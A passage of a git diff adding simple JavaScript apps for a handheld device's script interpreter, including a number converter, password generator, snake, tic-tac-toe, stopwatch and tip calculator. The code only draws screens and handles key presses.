screenWidth / 2 - 45, 47); + display.drawString(nextChar, screenWidth / 2 + 35, 47); + + // MORSE OUTPUT - BIG BOX + display.drawFillRect(5, 62, screenWidth - 10, 50, display.color(20, 30, 40)); + display.drawRect(5, 62, screenWidth - 10, 50, CYAN); + + var morse = getMorse(text); + display.setTextColor(YELLOW); + display.setTextSize(2); // BIG morse output + + // Wrap morse code if needed + var maxChars = Math.floor((screenWidth - 20) / 12); + if (morse.length <= maxChars) { + display.drawString(morse, 10, 75); + } else { + // Two lines + display.setTextSize(1); + display.drawString(morse.substring(0, maxChars * 2), 10, 68); + if (morse.length > maxChars * 2) { + display.drawString(morse.substring(maxChars * 2, maxChars * 4), 10, 82); + } + if (morse.length > maxChars * 4) { + display.drawString(morse.substring(maxChars * 4, maxChars * 6), 10, 96); + } + } + + // Controls + display.setTextSize(1); + display.setTextColor(WHITE); + display.drawString("Char [OK]Add [ESC]Del", 5, screenHeight - 10); +} + +drawScreen(); + +while (!shouldExit) { + if (keyboard.getPrevPress()) { + charIndex = (charIndex - 1 + chars.length) % chars.length; + drawScreen(); + } + if (keyboard.getNextPress()) { + charIndex = (charIndex + 1) % chars.length; + drawScreen(); + } + if (keyboard.getSelPress()) { + text = text + chars.charAt(charIndex); + drawScreen(); + } + if (keyboard.getEscPress()) { + if (text.length > 0) { + text = text.substring(0, text.length - 1); + drawScreen(); + } else { + shouldExit = true; + } + } + delay(80); +} diff --git a/sd_files/interpreter/number_converter.js b/sd_files/interpreter/number_converter.js new file mode 100644 index 0000000000..2f14405ace --- /dev/null +++ b/sd_files/interpreter/number_converter.js @@ -0,0 +1,111 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Binary/Hex/Decimal Converter +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(10, 10, 20); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(0, 255, 128); +var ORANGE = display.color(255, 165, 0); +var BLUE = display.color(100, 150, 255); +var GRAY = display.color(100, 100, 100); + +var decValue = 255; +var shouldExit = false; + +function toBinary(n) { + if (n === 0) return "0"; + var result = ""; + while (n > 0) { + result = (n % 2) + result; + n = Math.floor(n / 2); + } + return result; +} + +function toHex(n) { + if (n === 0) return "0"; + var hexChars = "0123456789ABCDEF"; + var result = ""; + while (n > 0) { + result = hexChars.charAt(n % 16) + result; + n = Math.floor(n / 16); + } + return result; +} + +function toOctal(n) { + if (n === 0) return "0"; + var result = ""; + while (n > 0) { + result = (n % 8) + result; + n = Math.floor(n / 8); + } + return result; +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString("NUMBER CONVERTER", screenWidth / 2 - 50, 5); + + // Decimal + display.setTextColor(ORANGE); + display.drawString("DEC:", 10, 25); + display.setTextColor(WHITE); + display.setTextSize(2); + display.drawString("" + decValue, 50, 22); + + // Hexadecimal + display.setTextSize(1); + display.setTextColor(GREEN); + display.drawString("HEX:", 10, 48); + display.setTextColor(WHITE); + display.drawString("0x" + toHex(decValue), 50, 48); + + // Binary + display.setTextColor(BLUE); + display.drawString("BIN:", 10, 65); + display.setTextColor(WHITE); + var binStr = toBinary(decValue); + if (binStr.length > 16) binStr = "..." + binStr.substring(binStr.length - 13); + display.drawString(binStr, 50, 65); + + // Octal + display.setTextColor(GRAY); + display.drawString("OCT:", 10, 82); + display.setTextColor(WHITE); + display.drawString(toOctal(decValue), 50, 82); + + // Controls + display.setTextColor(GRAY); + display.drawString("PREV/NEXT: +/- value", 10, screenHeight - 22); + display.drawString("SEL: x10 ESC: Exit", 10, screenHeight - 10); +} + +drawScreen(); +var multiplier = 1; + +while (!shouldExit) { + if (keyboard.getPrevPress()) { + decValue = Math.max(0, decValue - multiplier); + drawScreen(); + } + if (keyboard.getNextPress()) { + decValue = Math.min(65535, decValue + multiplier); + drawScreen(); + } + if (keyboard.getSelPress()) { + multiplier = multiplier === 1 ? 10 : multiplier === 10 ? 100 : 1; + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(80); +} diff --git a/sd_files/interpreter/password_generator.js b/sd_files/interpreter/password_generator.js new file mode 100644 index 0000000000..7af335b9e3 --- /dev/null +++ b/sd_files/interpreter/password_generator.js @@ -0,0 +1,110 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Password Generator - BIGGER UI +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(15, 20, 30); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(76, 175, 80); +var YELLOW = display.color(255, 193, 7); +var GRAY = display.color(100, 100, 100); +var CYAN = display.color(0, 200, 255); + +var length = 12; +var password = ""; +var shouldExit = false; + +var upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; +var lower = "abcdefghijklmnopqrstuvwxyz"; +var numbers = "0123456789"; +var symbols = "!@#$%&*+-=?"; + +function generatePassword() { + var charset = upper + lower + numbers + symbols; + password = ""; + for (var i = 0; i < length; i++) { + var idx = Math.floor(Math.random() * charset.length); + password += charset.charAt(idx); + } +} + +function getStrength() { + if (length >= 16) return "STRONG"; + if (length >= 12) return "MEDIUM"; + return "WEAK"; +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Title + display.setTextColor(CYAN); + display.setTextSize(1); + display.drawString("PASSWORD GENERATOR", 5, 5); + + // Big password display box + display.drawFillRect(5, 22, screenWidth - 10, 45, display.color(30, 35, 45)); + display.drawRect(5, 22, screenWidth - 10, 45, CYAN); + + // Password in BIG text + display.setTextColor(WHITE); + display.setTextSize(2); + + var displayPwd = password; + var maxChars = Math.floor((screenWidth - 20) / 12); + if (displayPwd.length > maxChars) { + // Show in two lines if too long + display.drawString(displayPwd.substring(0, maxChars), 10, 28); + display.drawString(displayPwd.substring(maxChars), 10, 48); + } else { + display.drawString(displayPwd, 10, 35); + } + + // Length indicator - bigger + display.setTextColor(YELLOW); + display.setTextSize(2); + display.drawString("Len: " + length, 10, 75); + + // Strength indicator - bigger + var strength = getStrength(); + var strengthColor = + strength === "STRONG" + ? GREEN + : strength === "MEDIUM" + ? YELLOW + : display.color(255, 100, 100); + display.setTextColor(strengthColor); + display.drawString(strength, screenWidth - 80, 75); + + // Controls - bigger + display.setTextSize(1); + display.setTextColor(WHITE); + display.drawString("SEL: Generate New", 10, screenHeight - 25); + display.drawString("PREV/NEXT: Length", 10, screenHeight - 12); +} + +generatePassword(); +drawScreen(); + +while (!shouldExit) { + if (keyboard.getSelPress()) { + generatePassword(); + drawScreen(); + } + if (keyboard.getPrevPress()) { + length = Math.max(6, length - 2); + generatePassword(); + drawScreen(); + } + if (keyboard.getNextPress()) { + length = Math.min(24, length + 2); + generatePassword(); + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + delay(80); +} diff --git a/sd_files/interpreter/random_number.js b/sd_files/interpreter/random_number.js new file mode 100644 index 0000000000..fad363db94 --- /dev/null +++ b/sd_files/interpreter/random_number.js @@ -0,0 +1,108 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Random Number Generator +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(25, 15, 35); +var WHITE = display.color(255, 255, 255); +var CYAN = display.color(0, 255, 255); +var PURPLE = display.color(156, 39, 176); +var GRAY = display.color(100, 100, 100); + +var minVal = 1; +var maxVal = 100; +var result = 0; +var hasResult = false; +var shouldExit = false; +var editMode = 0; // 0 = ready, 1 = edit min, 2 = edit max + +function random(min, max) { + return Math.floor(Math.random() * (max - min + 1)) + min; +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + display.setTextColor(PURPLE); + display.setTextSize(1); + display.drawString("RANDOM NUMBER", screenWidth / 2 - 45, 5); + + // Range display + display.setTextColor(editMode === 1 ? CYAN : WHITE); + display.drawString("Min: " + minVal, 20, 30); + + display.setTextColor(editMode === 2 ? CYAN : WHITE); + display.drawString("Max: " + maxVal, screenWidth - 70, 30); + + // Result + if (hasResult) { + display.setTextColor(CYAN); + display.setTextSize(3); + display.drawString("" + result, screenWidth / 2 - 25, 55); + } else { + display.setTextColor(GRAY); + display.setTextSize(2); + display.drawString("Press SEL", screenWidth / 2 - 45, 60); + } + + // Controls + display.setTextSize(1); + display.setTextColor(GRAY); + if (editMode === 0) { + display.drawString("SEL: Generate", 10, screenHeight - 35); + display.drawString("PREV: Edit Min", 10, screenHeight - 22); + display.drawString("NEXT: Edit Max", screenWidth - 80, screenHeight - 22); + } else { + display.drawString("PREV/NEXT: +/- value", 10, screenHeight - 35); + display.drawString("SEL: Confirm", 10, screenHeight - 22); + } +} + +drawScreen(); + +while (!shouldExit) { + if (editMode === 0) { + if (keyboard.getSelPress()) { + result = random(minVal, maxVal); + hasResult = true; + drawScreen(); + } + if (keyboard.getPrevPress()) { + editMode = 1; + drawScreen(); + } + if (keyboard.getNextPress()) { + editMode = 2; + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + } else { + if (keyboard.getPrevPress()) { + if (editMode === 1) { + minVal = Math.max(0, minVal - 1); + } else { + maxVal = Math.max(minVal + 1, maxVal - 1); + } + drawScreen(); + } + if (keyboard.getNextPress()) { + if (editMode === 1) { + minVal = Math.min(maxVal - 1, minVal + 1); + } else { + maxVal = Math.min(9999, maxVal + 1); + } + drawScreen(); + } + if (keyboard.getSelPress()) { + editMode = 0; + hasResult = false; + drawScreen(); + } + } + + delay(80); +} diff --git a/sd_files/interpreter/reaction_test.js b/sd_files/interpreter/reaction_test.js new file mode 100644 index 0000000000..d597da20e7 --- /dev/null +++ b/sd_files/interpreter/reaction_test.js @@ -0,0 +1,214 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Reaction Time Test - Whole Seconds Only +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(10, 15, 25); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(0, 255, 120); +var RED = display.color(255, 60, 60); +var YELLOW = display.color(255, 220, 0); +var GRAY = display.color(80, 80, 80); +var CYAN = display.color(0, 220, 255); + +var state = 0; // 0=ready, 1=wait, 2=go, 3=result, 4=early +var goTime = 0; +var reactionTime = 0; +var bestTime = 99999; +var shouldExit = false; + +function drawScreen() { + if (state === 0) { + // READY SCREEN - Cool design + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Border + display.drawRect(3, 3, screenWidth - 6, screenHeight - 6, CYAN); + + // Title + display.setTextColor(CYAN); + display.setTextSize(2); + display.drawString("REACTION", screenWidth / 2 - 50, 12); + + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString("TEST YOUR SPEED", screenWidth / 2 - 48, 35); + + // Instructions in box + display.drawFillRect( + 10, + 50, + screenWidth - 20, + 45, + display.color(20, 30, 40) + ); + display.drawRect(10, 50, screenWidth - 20, 45, GRAY); + + display.setTextColor(GRAY); + display.drawString("1. Press SEL to begin", 18, 58); + display.drawString("2. Wait for GREEN", 18, 70); + display.drawString("3. Press SEL as fast as you can!", 18, 82); + + // Best time + if (bestTime < 99999) { + display.setTextColor(YELLOW); + display.setTextSize(1); + var bestSec = Math.floor(bestTime / 1000); + display.drawString("BEST: " + bestSec + " sec", 10, screenHeight - 18); + } + + display.setTextColor(GREEN); + display.drawString("[SEL] START", screenWidth - 70, screenHeight - 18); + } else if (state === 1) { + // WAIT SCREEN - Red + display.drawFillRect(0, 0, screenWidth, screenHeight, RED); + display.setTextColor(WHITE); + display.setTextSize(3); + display.drawString("WAIT", screenWidth / 2 - 38, screenHeight / 2 - 12); + } else if (state === 2) { + // GO SCREEN - Green + display.drawFillRect(0, 0, screenWidth, screenHeight, GREEN); + display.setTextColor(WHITE); + display.setTextSize(3); + display.drawString("GO!", screenWidth / 2 - 28, screenHeight / 2 - 12); + } else if (state === 3) { + // RESULT SCREEN - Clean design + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Get whole seconds + var seconds = Math.floor(reactionTime / 1000); + + // Rating based on ms still but show seconds + var rating, ratingColor; + if (reactionTime < 200) { + rating = "SUPERHUMAN!"; + ratingColor = CYAN; + } else if (reactionTime < 250) { + rating = "AMAZING!"; + ratingColor = GREEN; + } else if (reactionTime < 300) { + rating = "GREAT!"; + ratingColor = GREEN; + } else if (reactionTime < 400) { + rating = "GOOD"; + ratingColor = YELLOW; + } else if (reactionTime < 600) { + rating = "OK"; + ratingColor = YELLOW; + } else { + rating = "SLOW"; + ratingColor = RED; + } + + // Top label + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString("YOUR TIME", screenWidth / 2 - 30, 15); + + // Big time display - centered + display.setTextColor(ratingColor); + display.setTextSize(4); + var secStr = "" + seconds; + var secWidth = secStr.length * 24; + display.drawString(secStr, screenWidth / 2 - secWidth / 2 - 10, 35); + + // "sec" label next to number + display.setTextSize(2); + display.drawString("s", screenWidth / 2 + secWidth / 2, 45); + + // Rating in box + display.drawFillRect( + 15, + 78, + screenWidth - 30, + 25, + display.color(30, 40, 50) + ); + display.setTextColor(ratingColor); + display.setTextSize(2); + var ratingWidth = rating.length * 12; + display.drawString(rating, screenWidth / 2 - ratingWidth / 2, 82); + + // Controls at bottom + display.setTextColor(GRAY); + display.setTextSize(1); + display.drawString("[SEL] RETRY", 15, screenHeight - 15); + display.drawString("[ESC] EXIT", screenWidth - 65, screenHeight - 15); + } else if (state === 4) { + // TOO EARLY SCREEN + display.drawFillRect(0, 0, screenWidth, screenHeight, YELLOW); + display.setTextColor(display.color(40, 40, 40)); + display.setTextSize(2); + display.drawString( + "TOO EARLY!", + screenWidth / 2 - 60, + screenHeight / 2 - 20 + ); + display.setTextSize(1); + display.drawString( + "Wait for the green screen!", + screenWidth / 2 - 75, + screenHeight / 2 + 10 + ); + } +} + +drawScreen(); + +while (!shouldExit) { + if (state === 0) { + if (keyboard.getSelPress()) { + state = 1; + drawScreen(); + + // Random delay 1.5-4 seconds + var waitTime = 1500 + Math.floor(Math.random() * 2500); + var waitStart = Date.now(); + var tooEarly = false; + + while (Date.now() - waitStart < waitTime) { + if (keyboard.getSelPress()) { + tooEarly = true; + break; + } + delay(5); + } + + if (tooEarly) { + state = 4; + drawScreen(); + delay(1500); + state = 0; + drawScreen(); + } else { + state = 2; + goTime = Date.now(); + drawScreen(); + } + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + } else if (state === 2) { + if (keyboard.getSelPress()) { + reactionTime = Date.now() - goTime; + if (reactionTime < bestTime) bestTime = reactionTime; + state = 3; + drawScreen(); + } + delay(1); + } else if (state === 3) { + if (keyboard.getSelPress()) { + state = 0; + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + delay(50); + } else { + delay(50); + } +} diff --git a/sd_files/interpreter/snake_game.js b/sd_files/interpreter/snake_game.js new file mode 100644 index 0000000000..4e7ef16892 --- /dev/null +++ b/sd_files/interpreter/snake_game.js @@ -0,0 +1,184 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Snake Game - Turn Left/Right controls +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(10, 20, 10); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(0, 220, 0); +var DARK_GREEN = display.color(0, 150, 0); +var RED = display.color(255, 50, 50); +var GRAY = display.color(80, 80, 80); + +var CELL = 8; +var COLS = Math.floor(screenWidth / CELL); +var ROWS = Math.floor((screenHeight - 18) / CELL); +var OFFSET_Y = 15; + +var snake = [{ x: Math.floor(COLS / 2), y: Math.floor(ROWS / 2) }]; +// Direction: 0=right, 1=down, 2=left, 3=up +var direction = 0; +var dirX = [1, 0, -1, 0]; +var dirY = [0, 1, 0, -1]; + +var food = { x: 0, y: 0 }; +var score = 0; +var gameOver = false; +var shouldExit = false; +var speed = 150; + +function spawnFood() { + var valid = false; + while (!valid) { + food.x = Math.floor(Math.random() * (COLS - 2)) + 1; + food.y = Math.floor(Math.random() * (ROWS - 2)) + 1; + valid = true; + for (var i = 0; i < snake.length; i++) { + if (snake[i].x === food.x && snake[i].y === food.y) { + valid = false; + break; + } + } + } +} + +function drawCell(x, y, color) { + display.drawFillRect( + x * CELL, + y * CELL + OFFSET_Y, + CELL - 1, + CELL - 1, + color + ); +} + +function drawGame() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Score + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString("Score: " + score, 5, 3); + display.drawString("", screenWidth - 45, 3); + + // Border + display.drawRect(0, OFFSET_Y, COLS * CELL, ROWS * CELL, GRAY); + + // Food + drawCell(food.x, food.y, RED); + + // Snake + for (var i = 0; i < snake.length; i++) { + drawCell(snake[i].x, snake[i].y, i === 0 ? GREEN : DARK_GREEN); + } + + if (gameOver) { + display.setTextColor(RED); + display.setTextSize(2); + display.drawString( + "GAME OVER", + screenWidth / 2 - 55, + screenHeight / 2 - 15 + ); + display.setTextSize(1); + display.setTextColor(WHITE); + display.drawString( + "SEL: Retry", + screenWidth / 2 - 30, + screenHeight / 2 + 12 + ); + } +} + +function turnLeft() { + direction = (direction + 3) % 4; // Turn left (counter-clockwise) +} + +function turnRight() { + direction = (direction + 1) % 4; // Turn right (clockwise) +} + +function update() { + if (gameOver) return; + + var newHead = { + x: snake[0].x + dirX[direction], + y: snake[0].y + dirY[direction], + }; + + // Wall collision + if ( + newHead.x < 0 || + newHead.x >= COLS || + newHead.y < 0 || + newHead.y >= ROWS + ) { + gameOver = true; + return; + } + + // Self collision + for (var i = 0; i < snake.length; i++) { + if (snake[i].x === newHead.x && snake[i].y === newHead.y) { + gameOver = true; + return; + } + } + + snake.unshift(newHead); + + if (newHead.x === food.x && newHead.y === food.y) { + score += 10; + spawnFood(); + if (speed > 80) speed -= 5; + } else { + snake.pop(); + } +} + +function reset() { + snake = [{ x: Math.floor(COLS / 2), y: Math.floor(ROWS / 2) }]; + direction = 0; + score = 0; + gameOver = false; + speed = 150; + spawnFood(); +} + +spawnFood(); +drawGame(); + +var lastUpdate = Date.now(); + +while (!shouldExit) { + if (!gameOver) { + // PREV = Turn Left, NEXT = Turn Right + if (keyboard.getPrevPress()) { + turnLeft(); + } + if (keyboard.getNextPress()) { + turnRight(); + } + } else { + if (keyboard.getSelPress()) { + reset(); + drawGame(); + } + } + + if (keyboard.getEscPress()) { + shouldExit = true; + } + + // Snake moves forward automatically + var now = Date.now(); + if (now - lastUpdate > speed && !gameOver) { + update(); + drawGame(); + lastUpdate = now; + } + + delay(20); +} diff --git a/sd_files/interpreter/stopwatch.js b/sd_files/interpreter/stopwatch.js new file mode 100644 index 0000000000..850282a63a --- /dev/null +++ b/sd_files/interpreter/stopwatch.js @@ -0,0 +1,120 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Stopwatch - BIG display, seconds only, smooth updates +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(10, 10, 20); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(76, 175, 80); +var RED = display.color(244, 67, 54); +var GRAY = display.color(80, 80, 80); + +var running = false; +var startTime = 0; +var elapsed = 0; +var shouldExit = false; + +function formatTime(ms) { + var totalSec = Math.floor(ms / 1000); + var hours = Math.floor(totalSec / 3600); + var minutes = Math.floor((totalSec % 3600) / 60); + var seconds = totalSec % 60; + + var h = hours < 10 ? "0" + hours : "" + hours; + var m = minutes < 10 ? "0" + minutes : "" + minutes; + var s = seconds < 10 ? "0" + seconds : "" + seconds; + + if (hours > 0) return h + ":" + m + ":" + s; + return m + ":" + s; +} + +function drawFullScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Status indicator + display.setTextColor(running ? GREEN : GRAY); + display.setTextSize(1); + display.drawString(running ? "RUNNING" : "STOPPED", screenWidth / 2 - 25, 5); + + // HUGE time display - centered + display.setTextColor(running ? GREEN : WHITE); + display.setTextSize(3); + var timeStr = formatTime(elapsed); + var timeWidth = timeStr.length * 18; + display.drawString( + timeStr, + (screenWidth - timeWidth) / 2, + screenHeight / 2 - 20 + ); + + // Controls at bottom + display.setTextSize(1); + display.setTextColor(WHITE); + display.drawString( + running ? "[SEL] Stop" : "[SEL] Start", + 10, + screenHeight - 25 + ); + display.drawString("[PREV] Reset", 10, screenHeight - 12); + display.drawString("[NEXT] Exit", screenWidth - 70, screenHeight - 12); +} + +// Only update the time digits, not the whole screen +function updateTimeDisplay() { + // Clear only time area + display.drawFillRect(0, screenHeight / 2 - 25, screenWidth, 35, BG); + + display.setTextColor(GREEN); + display.setTextSize(3); + var timeStr = formatTime(elapsed); + var timeWidth = timeStr.length * 18; + display.drawString( + timeStr, + (screenWidth - timeWidth) / 2, + screenHeight / 2 - 20 + ); +} + +drawFullScreen(); + +var lastSecond = -1; + +while (!shouldExit) { + if (keyboard.getPrevPress()) { + if (!running) { + elapsed = 0; + lastSecond = -1; + drawFullScreen(); + } + } + + if (keyboard.getSelPress()) { + if (running) { + running = false; + drawFullScreen(); + } else { + startTime = Date.now() - elapsed; + running = true; + drawFullScreen(); + } + } + + if (keyboard.getNextPress()) { + shouldExit = true; + } + + if (running) { + elapsed = Date.now() - startTime; + var currentSecond = Math.floor(elapsed / 1000); + + // Only update display when second changes (smooth, no flicker) + if (currentSecond !== lastSecond) { + updateTimeDisplay(); + lastSecond = currentSecond; + } + } + + delay(50); +} diff --git a/sd_files/interpreter/system_info.js b/sd_files/interpreter/system_info.js new file mode 100644 index 0000000000..7c2d0f4eb8 --- /dev/null +++ b/sd_files/interpreter/system_info.js @@ -0,0 +1,109 @@ +var display = require("display"); +var keyboard = require("keyboard"); +var device = require("device"); + +// System Info App +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(20, 25, 35); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(76, 175, 80); +var YELLOW = display.color(255, 193, 7); +var RED = display.color(244, 67, 54); +var CYAN = display.color(0, 188, 212); +var GRAY = display.color(120, 120, 120); + +var shouldExit = false; +var page = 0; +var maxPages = 2; + +function getBatteryColor(level) { + if (level > 50) return GREEN; + if (level > 20) return YELLOW; + return RED; +} + +function drawBatteryBar(x, y, w, h, level) { + display.drawRect(x, y, w, h, WHITE); + display.drawFillRect( + x + 2, + y + 2, + Math.floor(((w - 4) * level) / 100), + h - 4, + getBatteryColor(level) + ); +} + +function drawPage0() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + display.setTextColor(CYAN); + display.setTextSize(1); + display.drawString("SYSTEM INFO", screenWidth / 2 - 35, 5); + + var battery = device.getBatteryCharge(); + var board = device.getBoard(); + + display.setTextColor(WHITE); + display.drawString("Board: " + board, 10, 25); + + display.drawString("Battery: " + battery + "%", 10, 45); + drawBatteryBar(10, 58, 100, 12, battery); + + display.setTextColor(GRAY); + display.drawString("Screen: " + screenWidth + "x" + screenHeight, 10, 80); + + display.setTextColor(WHITE); + display.drawString("Page 1/2", screenWidth - 50, screenHeight - 12); +} + +function drawPage1() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + display.setTextColor(CYAN); + display.setTextSize(1); + display.drawString("MEMORY & TIME", screenWidth / 2 - 40, 5); + + display.setTextColor(WHITE); + var d = new Date(); + var timeStr = + d.getHours() + ":" + (d.getMinutes() < 10 ? "0" : "") + d.getMinutes(); + var dateStr = d.getFullYear() + "-" + (d.getMonth() + 1) + "-" + d.getDate(); + + display.drawString("Time: " + timeStr, 10, 30); + display.drawString("Date: " + dateStr, 10, 50); + + display.setTextColor(GRAY); + display.drawString("Uptime: " + Math.floor(Date.now() / 1000) + "s", 10, 75); + + display.setTextColor(WHITE); + display.drawString("Page 2/2", screenWidth - 50, screenHeight - 12); +} + +function drawScreen() { + if (page === 0) drawPage0(); + else drawPage1(); + + display.setTextColor(GRAY); + display.setTextSize(1); + display.drawString("", screenWidth / 2 - 40, screenHeight - 25); +} + +drawScreen(); + +while (!shouldExit) { + if (keyboard.getPrevPress()) { + page = (page - 1 + maxPages) % maxPages; + drawScreen(); + } + if (keyboard.getNextPress()) { + page = (page + 1) % maxPages; + drawScreen(); + } + if (keyboard.getSelPress()) { + shouldExit = true; + } + + delay(100); +} diff --git a/sd_files/interpreter/tictactoe.js b/sd_files/interpreter/tictactoe.js new file mode 100644 index 0000000000..b1a09c0708 --- /dev/null +++ b/sd_files/interpreter/tictactoe.js @@ -0,0 +1,178 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Tic Tac Toe Game +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(20, 25, 35); +var WHITE = display.color(255, 255, 255); +var RED = display.color(244, 67, 54); +var BLUE = display.color(33, 150, 243); +var GRAY = display.color(80, 80, 80); +var YELLOW = display.color(255, 235, 59); + +var board = [0, 0, 0, 0, 0, 0, 0, 0, 0]; // 0=empty, 1=X, 2=O +var cursor = 4; +var turn = 1; // 1=X, 2=O +var winner = 0; +var shouldExit = false; + +var cellSize = 32; +var gridX = (screenWidth - cellSize * 3) / 2; +var gridY = 20; + +function checkWin() { + var lines = [ + [0, 1, 2], + [3, 4, 5], + [6, 7, 8], // rows + [0, 3, 6], + [1, 4, 7], + [2, 5, 8], // cols + [0, 4, 8], + [2, 4, 6], // diags + ]; + + for (var i = 0; i < lines.length; i++) { + var a = lines[i][0]; + var b = lines[i][1]; + var c = lines[i][2]; + if (board[a] !== 0 && board[a] === board[b] && board[b] === board[c]) { + return board[a]; + } + } + + var full = true; + for (var j = 0; j < 9; j++) { + if (board[j] === 0) full = false; + } + if (full) return 3; // draw + + return 0; +} + +function drawBoard() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Title + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString("TIC TAC TOE", screenWidth / 2 - 35, 5); + + // Grid lines + for (var i = 1; i < 3; i++) { + display.drawLine( + gridX + i * cellSize, + gridY, + gridX + i * cellSize, + gridY + 3 * cellSize, + WHITE + ); + display.drawLine( + gridX, + gridY + i * cellSize, + gridX + 3 * cellSize, + gridY + i * cellSize, + WHITE + ); + } + + // Cells + for (var row = 0; row < 3; row++) { + for (var col = 0; col < 3; col++) { + var idx = row * 3 + col; + var cx = gridX + col * cellSize + cellSize / 2; + var cy = gridY + row * cellSize + cellSize / 2; + + // Highlight cursor + if (idx === cursor && winner === 0) { + display.drawRect( + gridX + col * cellSize + 2, + gridY + row * cellSize + 2, + cellSize - 4, + cellSize - 4, + YELLOW + ); + } + + // Draw X or O + if (board[idx] === 1) { + display.setTextColor(RED); + display.setTextSize(2); + display.drawString("X", cx - 7, cy - 8); + } else if (board[idx] === 2) { + display.setTextColor(BLUE); + display.setTextSize(2); + display.drawString("O", cx - 7, cy - 8); + } + } + } + + // Status + display.setTextSize(1); + if (winner === 0) { + display.setTextColor(turn === 1 ? RED : BLUE); + display.drawString( + "Turn: " + (turn === 1 ? "X" : "O"), + 10, + screenHeight - 25 + ); + } else if (winner === 3) { + display.setTextColor(GRAY); + display.drawString("Draw!", screenWidth / 2 - 18, screenHeight - 25); + } else { + display.setTextColor(winner === 1 ? RED : BLUE); + display.drawString( + (winner === 1 ? "X" : "O") + " wins!", + screenWidth / 2 - 25, + screenHeight - 25 + ); + } + + display.setTextColor(GRAY); + display.drawString("SEL:Place PREV/NEXT:Move", 5, screenHeight - 12); +} + +function reset() { + board = [0, 0, 0, 0, 0, 0, 0, 0, 0]; + cursor = 4; + turn = 1; + winner = 0; +} + +drawBoard(); + +while (!shouldExit) { + if (winner === 0) { + if (keyboard.getPrevPress()) { + cursor = (cursor - 1 + 9) % 9; + drawBoard(); + } + if (keyboard.getNextPress()) { + cursor = (cursor + 1) % 9; + drawBoard(); + } + if (keyboard.getSelPress()) { + if (board[cursor] === 0) { + board[cursor] = turn; + winner = checkWin(); + if (winner === 0) { + turn = turn === 1 ? 2 : 1; + } + drawBoard(); + } + } + } else { + if (keyboard.getSelPress()) { + reset(); + drawBoard(); + } + } + + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(80); +} diff --git a/sd_files/interpreter/tip_calculator.js b/sd_files/interpreter/tip_calculator.js new file mode 100644 index 0000000000..0f6dc4f917 --- /dev/null +++ b/sd_files/interpreter/tip_calculator.js @@ -0,0 +1,119 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Tip Calculator - Multiple currencies, dynamic layout +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(25, 30, 35); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(76, 175, 80); +var CYAN = display.color(0, 188, 212); +var GRAY = display.color(100, 100, 100); +var YELLOW = display.color(255, 193, 7); + +var currencies = ["USD", "EUR", "GBP", "CZK", "JPY", "CHF"]; +var currencyIndex = 0; + +var billAmount = 50; +var tipPercent = 15; +var splitCount = 1; +var editField = 0; // 0=bill, 1=tip, 2=split, 3=currency +var shouldExit = false; + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + var curr = currencies[currencyIndex]; + + // Title with currency + display.setTextColor(GREEN); + display.setTextSize(1); + display.drawString("TIP CALC", 5, 3); + display.setTextColor(editField === 3 ? CYAN : YELLOW); + display.drawString("[" + curr + "]", screenWidth - 35, 3); + + // Bill amount - BIGGER + display.setTextColor(editField === 0 ? CYAN : WHITE); + display.setTextSize(2); + display.drawString(billAmount + " " + curr, 5, 18); + + // Tip and Split on same line + display.setTextSize(1); + display.setTextColor(editField === 1 ? CYAN : WHITE); + display.drawString("Tip:" + tipPercent + "%", 5, 40); + + display.setTextColor(editField === 2 ? CYAN : WHITE); + display.drawString("Split:" + splitCount, screenWidth / 2, 40); + + // Calculations + var tipAmount = (billAmount * tipPercent) / 100; + var total = billAmount + tipAmount; + var perPerson = total / splitCount; + + // Divider + display.drawLine(5, 55, screenWidth - 5, 55, GRAY); + + // Results + display.setTextColor(GRAY); + display.setTextSize(1); + 